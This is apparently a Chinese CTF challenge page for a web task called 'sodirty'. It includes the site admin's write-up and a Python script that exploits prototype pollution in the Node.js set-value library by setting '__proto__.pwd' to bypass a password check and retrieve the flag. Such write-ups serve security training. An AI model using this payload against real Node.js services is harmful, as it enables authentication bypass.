sodirty

平台   WEB   已通过

题目作者: Jesen

一　　血: ‌‌‌‌‌zhong3

一血奖励: 4金币

解　　决: 839

提　　示: 垃圾题目，大表哥们不要骂

站长题解:

const setFn = require('set-value');  存在 node.js 原型链污染，参考  https://cloud.tencent.com/developer/article/2288287

import requests
import random
from bs4 import BeautifulSoup
import re
import base64

s = requests.session() #保持同一个会话

def reg(url):
    url = url+"reg"
    r = s.get(url)
    print(r.text)

def update(url, data):
    url = url+"update"
    print(url)
    r = s.post(url, data=data)
    print(r.text)

def getflag(url, data):
    url = url + "getflag"
    r = s.post(url, data=data)
    print(r.text)

# 注册用户
url = "http://114.67.175.224:17157/"
reg(url)

# 更新年龄
data = {"attrkey":"age","attrval":"20"}
update(url, data)

# 原型链污染，给__proto__.pwd赋值123
data = {"attrkey":"__proto__.pwd","attrval":"123"}
update(url, data)

# 更新密码
data = {"password":"123","key":"pwd"}
getflag(url, data)

去做题